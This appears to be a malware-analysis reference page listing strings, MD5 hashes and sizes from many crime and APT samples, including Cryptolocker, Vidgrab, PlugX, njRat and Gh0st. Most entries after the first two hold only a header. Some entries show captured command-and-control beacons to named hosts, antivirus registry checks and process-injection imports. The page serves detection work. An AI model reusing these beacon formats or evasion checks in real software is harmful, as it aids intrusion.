Cryptolocker strings - CRIME

File: Cryptolocker_9cbb128e8211a7cd00729c159815cb1c_crypt_1_sell23-09.exe_
MD5:  9cbb128e8211a7cd00729c159815cb1c
Size: 743424

Ascii Strings:
---------------------------------------------------------------------------
!This program cannot be run in DOS mode.
Rich5>
.text
`.rdata
@.data
.rsrc
 crs
Qj@SR
\SVW
_KPP
--------snip
??$j+
*5>>AA99
F77::BB;;
::8822
:?u<5
::::6666
66BB<<:
8822
33664455U"`O
3366D
3377
8899
AA<<AA
228855F~\2w
66<<
AA;;;;A
>>>>
33EEAA
S766N
<Bx@@
vSzi
*s:z
::C:
C:Hnwd:4
Tr44BBCC
44::
2233
^];;8@
$8BZN#
AA99
::778833
EE>>DD
77@@>>
\71C
BB<<
1p,wu
22AA;;
2288
QN??88;;999sus9
AAAA22
<<66
::::88
UDD22
cR"U
C522
EE77
88<<
n^:2
z!qBBBB66EE
6644
\A::
>>77DD
C:~V[J
MJSe
66P/
FF33
EE@@
6666
6633
55EE
55559h
8==55FF
====
}#AA
ZU{5
;;==
==55??88
$'99
g$FOO
;;33
gDDAACCFF
99DD
2 28
AABBFF
.:9y33
99;;
77EE
BBCC
z377A
]s?AO
66EE
44;;D
5555
AABB
B"r]ez
e^iZ
rxD$
3355;
DD;;22
=0^c?FF
::R5
FFDD;;
<<33==::
7*88
::22
99AA
@@==
==44>>
33CC
!E!2I
LE?Sx
k}<H
R44::
2233
33>>22
.1<:
EE;;
;;me(fU1
5588
44==
::Bz
7744
,h"A
DD@@
??BB
KA]9
w&{9&
88DD
DD33==
AA55
)4r(
N5qe
33FF
BB999922::
3366
IDDT
44CCC*Y5
;;666699CC
/-W<
338866@@>D`
`N]2
)V*DD
5599
EE66
D_Cg;D
99BB==EE
==44
AJA0
3377
44EE7
CCEE
1MAA
LU@@!
==66
2255
6=_
>>BB
2244
??@@
AAAA
AA??AA
FG5x
FF22
";ImFA
33FF
@@^R
4499
/;;A
FFDD
==66B
33]nY=
44PJ
<<??99
4M+X8
99AA
77;;
::AA66
;@@>>@@
99EE<<
~Q>>
p\]BB=
??EE
CCFF<<
6/K"P
BBDD44
FF@@
O`AA
`JsS
~==@@
EE77
`j-<<
:(4U:FF
55;;
DD99
:WuM
j3:CC
1iD.
443366
>k3x3
K==~
;;AA::
AA88b
6l0%'
AA224477Z
AA<<
6A33
EEFF
fPWR
eEE2
3355BB
=qFK
<<77
2\8)DW
>>gk
66::
==66
kX+c
AA:/!7U:
::??
33553
Y8K'
DD;;
D0%p&7DDD66
::FF;;
>CC>>
7733
6~A44
{;E2>
52CC
 f7;;W-
::88DD;;BBCC
66FF
AA#N
>0q[<;;!
<<`Q
BB99
;;22
::DD
hfd6E
;;55
>>;;
:44xM
55BBy
22FF
qBB3
BB??
7744
99DDE
55^D
AA22
<<??
{]WS
7733>>
2299
vf88t
??==
@@33
>>99
M::4
EEBB7
BB>T~7
>@@-]2
AA33FFEE;7
;;AA77
@@YG
99;;
??DD
ZoCC3
FF99
=]^s
223D
;;@%#
e=yBEE!
;;??
.2:>
6633
33AABB
CCBB
3344W4
{A[%4
66::7744?
F;55}
@@5y
44::BBEE
[<`y@E
E6{me6::
==FRJ
F4488;;
NF@@
[88<
EEFF
pRN??
99;;
q:77
FF44Z@
z|==
C\qEE
??22W
BBAA
CC99
?AA3e?
`9:="
=DDDD66
ABB44
o@!GYB
t&23W|
y>>;;
88::77
D88s
7;;6622??
8844
22EE33
AhUZ
8&;;
r>>DGc
k9\z
CC<<
999C
XX-F
9933
DD;;>>??
@@aQ
@@55BB
>>44<<
36C?
??Y9C
;;EE
99??
`j77
??2277EE
;;CCAA4
??DD
22::44
nUEE
BBBB
DD44@@7-G
DD::
;;BB
CCEE
#CFF;;22
<<99
==AA@@
;;*,
??CC77
>>Du
]UvB
??66
$=88
;;22
@@;;
d"CC}
==>>
22EE
::669
6633
22EE
BB==AAe
@@DD
DDCC
@@66DDBB
n\==9944
3DI-
3@]V
@@66Du
/77p
BB7744
22;mt}S
44AA
22AABBDD
22AAB
S[X'
CC22
::6688
<D/K
s]<==
66AA
EEBB
4499>>Hk
BB;;;;:
AA9966
emAA
>N={
g@@EE
??22
`,jx7;8S
AA66
9-27
EEAA::EE
F33BB;;
>@co>BBg
33="
~s?$)a
'5;)
==DD
[5522
==77
Q~IBB
AA44
99::
]%@7
}mh{
>>3]wO
n@@fm
99p6
DDg&
==33
55::
33;;66
::99
55EE44;;;;@
@;;DD339988
66AA>>
7777
99FF4
DD9_
yr~9
^=/Z9%
77BB44
??FF
55CC
%N4(
2244
3333
FFDD;
?22tKyx
7tbd6q
DD3399??
77>>
gvNq
%@22
E!|44
FF88DD
9988
BBEEc
@@DD3H
AA@@
4422AA
J}m"
DDA,V
5~<<
+:BB
$mfEE
;;33
EE>d
>;;@@
<<22
;;33
6EEAA
>>@*
99DD25
CC==
DDFF
|e;;vQ
{|eV
"[LL
DLLf
tX35\b
Ch5B
hhdj
%UfE
DDbs
ysfj)W
NE5D
'[2>
}?}w
uunv"
KQcX
LLul|
9UeLL
_Jy&
X3tXz
F!jY1M
jjLLPP
DDPP
-ba~
H#hh
bkXu
#L9e:
PPPP
"S g9
SCardIntroduceReaderW
SCardStatusW
SCardForgetReaderW
SCardReleaseStartedEvent
SCardLocateCardsByATRW
SCardState
SCardGetAttrib
SCardIntroduceReaderGroupW
SCardCancel
SCardAddReaderToGroupW
SCardGetStatusChangeW
SCardReleaseContext
SCardListReadersW
SCardBeginTransaction
SCardControl
SCardForgetReaderGroupW
SCardSetAttrib
SCardLocateCardsA
SCardConnectW
SCardRemoveReaderFromGroupW
WinSCard.dll
VirtualFree
DeviceIoControl
GetCurrentProcess
Sleep
LocalAlloc
GetSystemInfo
VirtualAlloc
CopyFileW
MoveFileW
CreateDirectoryW
CloseHandle
GetStartupInfoW
DeleteFileW
VirtualProtect
CreateProcessW
LoadLibraryW
LocalFree
PrepareTape
GetTickCount
ResetEvent
HeapFree
GetVersionExA
HeapAlloc
GetProcessHeap
EnterCriticalSection
LeaveCriticalSection
TerminateProcess
UnhandledExceptionFilter
SetUnhandledExceptionFilter
IsDebuggerPresent
GetProcAddress
GetModuleHandleA
ExitProcess
WriteFile
GetStdHandle
GetModuleFileNameA
GetModuleFileNameW
FreeEnvironmentStringsA
MultiByteToWideChar
GetEnvironmentStrings
FreeEnvironmentStringsW
GetLastError
GetEnvironmentStringsW
GetCommandLineA
GetCommandLineW
SetHandleCount
GetFileType
GetStartupInfoA
DeleteCriticalSection
TlsGetValue
TlsAlloc
TlsSetValue
TlsFree
InterlockedIncrement
SetLastError
GetCurrentThreadId
InterlockedDecrement
HeapDestroy
HeapCreate
QueryPerformanceCounter
GetCurrentProcessId
GetSystemTimeAsFileTime
RtlUnwind
GetCPInfo
GetACP
GetOEMCP
IsValidCodePage
WideCharToMultiByte
LoadLibraryA
InitializeCriticalSection
HeapReAlloc
GetConsoleCP
GetConsoleMode
FlushFileBuffers
LCMapStringA
LCMapStringW
GetStringTypeA
GetStringTypeW
GetLocaleInfoA
SetFilePointer
HeapSize
WriteConsoleA
GetConsoleOutputCP
WriteConsoleW
SetStdHandle
CreateFileA
KERNEL32.dll
                         
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
                         
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ

Unicode Strings:
---------------------------------------------------------------------------
(null)
         (((((                  H
         h((((                  H
                                 H
rubmetal main slip
stream her million afraid
VS_VERSION_INFO
StringFileInfo
040904B0
CompanyName
Opposite2|3</> Corporation.
FileDescription
Opposite2|3</> Seedfact
FileVersion
2.1.460.695
InternalName
present.exe
LegalCopyright
 2005-2007 Opposite2|3</> Corporation. All rights reserved.
OriginalFilename
present.exe
ProductName
Opposite2|3</> Seedfact
ProductVersion
2.1.460.695
Mountainst
magnetpr
VarFileInfo
Translation

Vidgrab strings - APT

File: Vidgrab_660709324ACB88EF11F71782AF28A1F0_DW20_.exe__
MD5:  660709324acb88ef11f71782af28a1f0
Size: 118784



....3
HTTP/1.1 301 Moved Permanently
Location:http://windowsupdate.microsoft.com/
Content-Type: text/html
Connection: Keep-Alive
<h1>Bad Request (Invalid Verb)</h1>
.....HK|(172.16.253.130)|1067|WinXP|D|L|No|0..0....1..52..|No|V2010-v24|2184|0|3111947|0|1|.
Ascii Strings:
---------------------------------------------------------------------------
!This program cannot be run in DOS mode.
Rich
.text
`.rdata
@.data
.rsrc
@ANu
RZQV
_^[]
0XA;L$
QQSVW
Yj@h
5,0@
Pj(S
QSVW
CBOu
`SVW
RZV3
6f9O
u:hH
SSSS
Qj@j+@P
$VUh
_^][
0fA;M
Vu%h
VPhT
%D0@
%H0@
%L0@
%P0@
%T0@
%X0@
%\0@
%`0@
%d0@
%h0@
%l0@
hSVW
>"u:F
XPVSS
%t0@
%<0@
Sleep
GetTickCount
VirtualFreeEx
CloseHandle
GetModuleFileNameA
CreateFileA
SetSystemTime
GetLocalTime
GetCurrentThreadId
ResumeThread
GetStartupInfoA
GetVersion
ExpandEnvironmentStringsA
KERNEL32.dll
GetMessageA
PostThreadMessageA
GetInputState
USER32.dll
ADVAPI32.dll
SHSetValueA
SHDeleteValueA
SHLWAPI.dll
memset
__CxxFrameHandler
_except_handler3
strcat
??3@YAXPAX@Z
??2@YAPAXI@Z
memcpy
memcmp
fclose
fwrite
fopen
MSVCRT.dll
_exit
_XcptFilter
exit
_acmdln
__getmainargs
_initterm
__setusermatherr
_adjust_fdiv
__p__commode
__p__fmode
__set_app_type
_controlfp
GetModuleHandleA
X[XXX\Z\
[]W\VH
ZHVG
01+x(*7?*9XX5x;9667,x:=x*-6xXX16x
x57<=vUUR|[\Zd[[
x\@e
1;0[
W\[H
Y\8XX
[H[\
XVySY^XX
PZVRZ\Z[
MZ]HZ\xZ\XXHZZ
XXZMx[JKp[PX[
^UZGZKZmZ[[k\l
]JX8{XX
ZT8yXX<ZPW[PH%
PUWQWHRHZ
RWWSv,= ,ZM
ZO\[Z
8v*<9,9X
{UZI|IT\GP]Z
hgXZC[P\
ZT^[Zp
v*=47;XX@
YZMZIK
XJZTR[ZO
RWWSWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH_\WHWH\H
m@xXH[#d
P-@^y
uZhZu
',HX
+V0X
ZBX[-P
-------------snip
[-~[}
%TX,I_
ZcZTR
[Tb]TPyXH
vZTJ@W[WHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHRH8
Z\[K
ZP&Z\(Z\8Z\
Z\dZ\DZ\rZ\[|b{XX
ZTHZP
UDZ\jZ\
Z\[x
ZD[Px]
ZPZ_P[z
ZQPMZQ[t
VhZCX8
Zx[p
ZP[D_\Z
\C[t[\
Vh[E
[p`ZP[D
_@[t[\
Vh[x+
[T[\
L[P[}Z\
ZT:*X"&
Rp~J8jJZFW[XXG
 XX[
1*,-94
*==X
XX=,
<<*=++XX
1:*9*!
XX/Y
7<-4=
96<4=ZL-_
=*+176XX
4==(XvX
47+^nX
kjv<44XXaZ
=Xx,
=*.1;=
,9,-Z"YZXy
=?1+,=*^A
,*4],*
^#*X
Z/;+,75:Z>
+,*6;(!X
\mXPH
Z>KWXWY
161,Z
PXZ59]
9<2-+,
r1.M
{t_\
KP8XX
ZPXX
.;07+,\5^
[91Ju]
W^WHWHWHWHVHSoftwa
re\rar
WYWHWHWHWHWHWHWHWH
XWHWHWHWHWHWHZH
*=9,=
0Z_<K{
=*6=4
[JW\WHWHWH
SWHWHWHWHWHWHWHWH^H
ZSYhOhXX
heisj
j9j,j#jXX
jZkXXBk~k
kXlXXPlWlNlxl
luljl`lXXel
l8l5l,l
m9mXX?m*m'm
mWnynXD%n
|Z[X8hXX0h
h\iHi
iZzW[WHWHWHWHWHWHWHWH
[WHWHWHWHWHWHWHWHWHWHXXXXX
>=>>>:Z\
ZPEX[[~[]W\WH?>>0!
jVWM
NLQYLXX_S
]_PPQJ
LKPXX
SQZ[
334Z\
HZH!vh
ZPxIz
J~\H
Jp\p
\pu\X]+\@
M9Zh
ZPlW]V[4^'>XHn{>>r?<>
5?8]W
ZP.ZQ[\>>
.ZZ>><M`ZNL
[P>.]M
ZKZiZ[[k\l]JZ^][
?>j?]TW^
?>v)\RW]WHUHZ,&;UKSV
Z_J_ZI&
Z%Zt>
ZP{]ZL_[z\X
L[RQ]>>
#ZNZ
> ZP
ZtZ__[Zp|_TWPWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWH
Z\FZ\TZ\hZ\xZ\
Z\0Z\
Z\nZ\VZ\@Z\
?>(Z\
Z\rZ\2hZZ\FZ\
?>~Z\[T
},DZ4jZ\
Z\TZ\
Z\~[
Z\[t
pZ\VZ\HZ\
Z`Z\
Z\zZ\dZ\VZ\
Z\tZ\ZZ\DZ\
?> Z\
Z|VZPDZ\
[TZ\
?>$Z\
Z\lZd
Z\VZ\DZ\
Z\LZ\ZZ\hZ\
JxZ\
Z\xZ\h
Zt$Z\:Z\
Z\JZ\ZZ\K
rVZ\FZ\
?>2Z\(Z\
Z\~Z\vZ\
nZ\dZ\ZZ\PZ\
Z\FZH[
ZDJZ\[T
Z\[D
ZP&Z\6Z\jZ\
]zZ\
Z@[|
?>lZ\`Z\
Z\NZ\\
=Z\nZ\|Z\
Z\ Z\RZp
ZPDZ\^Z\rZ\
Z\0Z\
Z\BZ\XZ\jZ\xZ\
Z<@Z\
Z\*ZD
Z\*j<
Z\.Z@$Z\
ZH4ZxKX
JT[P
J46JL
ZTtZ\bZ\LZ\
Z@[l:
QZ\MZ\K
ZP4Z\5Z\
7ZP6Z\+Z\
3ZP*
2ZT1Z\,Z\
.Z\>Z\
Z\[L[\
>Z#[RYXQ\
JSN>>x>L>W>[X
>P>Z>R>G>p>_>SZH[r
YyZD_>\ZZ[ZR[J>>
}ZhN>J
M>KZz[>
ZRbZ\
fZ_>*4>kP
[TWPZ[F+
IJBYXZPmQXJI_L[bsW]LQMYXZVbwPJ[LP[J
{FNRQPXL[L\JRRWxQLSMbmJQXXL_Y[
~_\]Z[XYVWXXTURSPQNOLMJKHIFG
XDec`a^WGQGEBC@A>>mX
[z[\KYnLWHWR[Y[Z
mvwxj
r^NZ@iZ
G]rZL}R[_L
Z\cZ\
2CZ\BZ\eZ\EZ\^Z\@Z\
raZP
mXXJ_LJ
NNRW]_JWQP
[([`WDZD
QD[R[]J
s[@^ZW_^M^hs_WR^JZ
nR_G
x[n_KM[WtQNTJ[tL[HWQK
jL_]UQ
p[FJWLhQR
^HzQIP]JZ
PsKJ[PL|LJ
XvQZ
_xx_HQLWJ[
Q@mJ']V[
[iPhz
Qtl[
NXL[M\uTtz
T@|Q
hYVJ
{pk[{>
r[X_W}hzqdXipZ
}lqrr
rq}uy
pks_U
m[N_L
_j8]
hZ\j'>
}QSNJ
>NxczA\LtWCJtv{rl(PPz{r[
wpm{lj[S>
nlXZwpj
m}l{{J
{f{}`Pkj{[E]DZ
m{r{}]h
vqs[u
{pz]l
n[Tm
>Zt{m}\|}P
rZt}H}r{
lZ$j
|\l|L
>3:]34P
X]LG
ZDM[|
]}LGNX
J[Zu[G
t>oo
Zc>]PJ
>{ZWJZg>w{
KJQI
Tmqxji
[dH@h[LM
M9W[:_U_HH\
[F[ZxRQ_Z
J_NJ
X_ZRR
[LLQ<=LS]M>qKJRX
avjjn[<QL
PLYT[D
n_MMIQLZZ}\Hm[LH
klr[
UhkM[[)Q
W<PL[DS<\H]<P8[LZ'>[P
\nqnk
L[}L[_XJJ[wPMJ_P]L
LL_LG
>RN>
^pZFWpUpA
[PChmsjDXn
Nh\D^T
]]QKPJ
{S_WRZ%Z
[tZW>[PO
Z:`:
MM_YWPY
mXxK\MGMJ[SbnLQX*
W`XJb_`pjb}KLL[PJ~
GPBs[W
>>{4,
iPL^
Wt$\h{x^
[h[L[
ZZ*Fz
.s_P_Y
>kln
g8` SL[$KLW,Z,qXXW][bZv[
W&>>
xW[RZM>VJJNM
]Z_>
mJLz
>]_w
mWYPKX
ZDanmjql{Z
FZMZ[@{
ZIR[p[I\Oh
kPWP
fWYWHWHWHWHWHWHWH
(WHWHWHWHWHWHWHZH[M[J
O@MVQ[
UL,\VOPWWxPA^Q{m{jzdRJ:
^BW_WH]HW
]~W^QH'
!JKN
|Oz,{
MbXHE
}XXx
Q}WRWHWHRH
RU\Svu\_W]WHO'WHWHPHhltH
^KW_VH
]?ZL
c;=Z_\T[PIZYmgmZ_
K[KW\WHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
YWHWHWHWHWHWHWHWHWH>mqxji
XXl{bsW]LQMQXJb
]JXXWH[
m[JKNbwPMJ_RXXR[Z
}QSNQP[PJMbEXX
XX}x
-------------------------snip
VwZt
i:&mv]v
mvri=
0>Z
n`YLQ]
]xJVnm[`zrr>X>wZ
Pz]P[J}V[]U}QPPJL*+
Jlwp{j\8
RIL>
QI{F][N
3>0j
JGN[z;XQ~~k
{~fj
>WYWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWH_H
Z.>>2ZT"
>~PX>>
>^>>
>>nXX>>>A
>>b?>>
 XP>>5
)zx!
zdXX
z>XX
>>&j
ZXJj>
JVIj,
$J^M
KN>>
>>:?>>
j0YXk>
CYXj
VJH=
xYYJ^
>[[>
_zFXX
8zFq
hjN`
ZHjJ
 >?kW>EZ
>.?>Jz
zX+>re
Zxm:hO
mzt_
zbXZn
>>xX>
?>rJ,2
?>"J
z0~?
EY\j
n?>Z
'I]*4
4IXZ
\LJLD
jJZR
>^?>yPJ
>N?>2YY
5Y]j
sJb@
@YXj
JT4XH
8xPT
?>^Z<
?>bJ
jPW[WHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWHXX>>>>>>>
I7TS
[ba^
WriteProcessMemory
VirtualAllocEx
kernel32.dll
VirtualAlloc
GetProcAddress
GetModuleHandleA
VirtualProtect
LoadLibraryA
VirtualFree
SOFTWARE\KasperskyLab\AVP6\environment
ProductRoot
SOFTWARE\KasperskyLab\protected\AVP9\settings
Ins_ProductPath
\UIFramework\uiWinMgr.exe
SOFTWARE\TrendMicro\Vizor
ProductPath
Kernel32.dll
\avp.exe
\klwtblfs.exe
SOFTWARE\KasperskyLab\protected\AVP12\environment
\wmifw.exe
ReadProcessMemory
CreateThread
Sleep
GetThreadContext
CreateProcessA
%SystemRoot%\System32\svchost.exe
Shlwapi.dll
SHGetValueA
VirtualProtectEx
%temp%\tmp092.tmp
ExpandEnvironmentStringsA
Software\rar
data
\fxsst.dll
%SystemRoot%
wwwwwx
wwwwx
wwwwwwwx
wwwwww

Unicode Strings:
---------------------------------------------------------------------------
IZQD
3$wG
IDI_ICON5

Page / Elise / lStudio / stscout / Wumins strings - APT

File: msgsm.exe
MD5:  aaf73666cbd750ed22b80ed836d2b1e4
Size: 68608

Ascii Strings:

GET /29af9cdc/page_12082223.html HTTP/1.1
Accept: */*
Cookie: XX=0; BX=0
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Win32)
Host: gorush.dyndns-web.com
Connection: Keep-Alive
Cache-Control: no-cache
Pragma: no-cache

Tijcont strings - CRIME

File: Tijcont
MD5:  845b0945d5fe0e0aaa16234dc21484e0
Size: 475152

Dark Comet strings - APT

File: DarkKomet_DC98ABBA995771480AECF4769A88756E.exe_
MD5:  dc98abba995771480aecf4769a88756e
Size: 656896



GET /a.php?id=c2ViYWxpQGxpYmVyby5pdA== HTTP/1.1
Host: [ip.address]

Kelihos strings - CRIME

File: Kelihos_C94DC5C9BB7B99658C275B7337C64B33
MD5:  c94dc5c9bb7b99658c275b7337c64b33
Size: 1220125

PlugX strings - APT

File: hkcmd.exe
MD5:  23f2c3dbdb65c898a11e7f4ddc598a10
Size: 173592

PlugX dropper strings - APT

File: DW20.exe
MD5:  2ff2d518313475a612f095dd863c8aea
Size: 305709

Surtr (Smoaler) Strings - APT

File: DW20.dll
MD5:  1325ec00149cd2dd9a2982769f1fa12a
Size: 39936

TBD 8202 strings - APT

File: DW20.dll
MD5:
064ae9b451f0503982842c9f41a58053
Size: 60416

Ascii Strings:

Surtr (Smoaler) strings - APT

File: DW20.dll
MD5:  8e187ae152c48099f715af442339c340
Size: 44032

Taidoor strings - APT

File: DW20.exe
MD5:  46ef9b0f1419e26f2f37d9d3495c499f
Size: 47104

Ascii Strings:

Mongall strings - APT

File: DW20.exe
MD5:  d7dd5cda909190c6c03db5e7f8afd721
Size: 24576


GET /3000FC08000024FE0700363635353544304331303530313136300052656D6F746520504300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000070161646D696E000000000000000000000000000000000000000000000000000000000000000000000000 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: www.ndbssh.com:5331
Cache-Control: no-cache:

Gh0st hgif strings - APT

File: DW20.exe
MD5:  5d2a996e66369c93f9e0bdade6ac5299
Size: 102400

GET /h.gif?pid =113&v=130586214568 HTTP/1.1
Accept: */*
Accept-Language: en-us
Pragma: no-cache
User-Agent: Mozilla/4.0(compatible; MSIE 6.0; Windows NT 5.1)
Connection: Keep-Alive

Vidgrab strings - APT

File: DW20.exe
MD5:  588d3316d4bbfdbb25658d436f06ed96
Size: 118784

njRat / Backdoor.LV strings - APT

C2 checkin
lv|'|'|TndfQzQyNjRFQkI=|'|'|VICTIM|'|'|Examiner|'|'|2013-06-21|'|'|USA|'|'|Win XP ProfessionalSP2 x86|'|'|No|'|'|0.5.0E|'|'|..|'|'|Y3B0YnRfUHJvY2Vzc19SZWdpc3RyeV9GaWxlX0luZm8ubG9nIC0gTm90ZXB hZA==|'|'|[endof]act|'|'| Y3B0YnRfUHJvY2Vzc19SZWdpc3RyeV9GaWxlX0luZm8ubG9nIC0gTm90ZXBhZA==

File: njRAt_1D3BAEDD747F6F9BF92C81EB9F63B34B
MD5:  1d3baedd747f6f9bf92c81eb9f63b34b
Size: 110080

Refeys.A strings - CRIME

Traffic

POST /sys.php HTTP/1.0

Host: rxform.org

Content-type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.0.1) Gecko/20021216 Chimera/0.6

Referer:  http://www.gmail.com

Content-length: 112

File: Refeys.A_BEDE0DA1ABC1122ACF8AF91F6D6B289F.exe_

MD5:  bede0da1abc1122acf8af91f6d6b289f

Size: 58880

Nitedrem strings - CRIME

MD5:  508af8c499102ad2ebc1a83fdbcefecb
Size: 147456

Sality strings - CRIME

File: sality
MD5:  ceaf4d9e1f408299144e75d7f29c1810
Size: 997537

Chebri.C strings - CRIME

File: Chebri_B605C8E99315C330A015F36DE2A870EE
MD5:  b605c8e99315c330a015f36de2a870ee
Size: 8704

Torpig miniloader strings - CRIME

File: Torpig miniloader_0F82964CF39056402EE2DE9193635B34
MD5:  0f82964cf39056402ee2de9193635b34
Size: 242688

Coswid strings - APT

File: D62CD4AD2A919B6ACFA6D49D446DFFDB_svchost.exe_
MD5:  d62cd4ad2a919b6acfa6d49d446dffdb
Size: 19968

see md5 other below

COOKIES Cookiebag Dalbot strings - APT (2)

File: COOKIEBAG_sample_543E03CC5872E9ED870B2D64363F518B
MD5:  543e03cc5872e9ed870b2d64363f518b
Size: 126976

COOKIES Cookiebag Dalbot strings - APT (1)

File: COOKIEBAG_sample_0C28AD34F90950BC784339EC9F50D288
MD5:  0c28ad34f90950bc784339ec9f50d288
Size: 151552

Citadel 1.3.5.1 strings - CRIME (2)

File: Citadel1.3.5.1_296DA66E2F5239F9AF433C1EFBCDC079
MD5:  296da66e2f5239f9af433c1efbcdc079
Size: 276992

Citadel 1.3.5.1 strings - CRIME (1)

File: Citadel1.3.5.1_439333E63DD1DCA5C23653BDBD740CFC
MD5:  439333e63dd1dca5c23653bdbd740cfc
Size: 245568

Beebus Warp strings - APT

File: Beebus_WARP_D7EC457BE3FAD8057580E07CAE74BECB
MD5:  d7ec457be3fad8057580e07cae74becb
Size: 80896

WEBC2-RAVE strings - APT

File: WEBC2-RAVE_sample_BF0EE4367EA32F8E3B911C304258E439
MD5:  bf0ee4367ea32f8e3b911c304258e439
Size: 13824

scroll for #2  WEBC2-RAVE_sample_438983192903F3FECF77500A39459EE6

Taleret strings - APT (2)

File: Taleret_5328CFCB46EF18ECF7BA0D21A7ADC02C
MD5:  5328cfcb46ef18ecf7ba0d21a7adc02c
Size: 126976

Taleret strings - APT (1)

File: Taleret_FED166A667AB9CBB1EF6331B8E9D7894
MD5:  fed166a667ab9cbb1ef6331b8e9d7894
Size: 36864

Ascii Strings: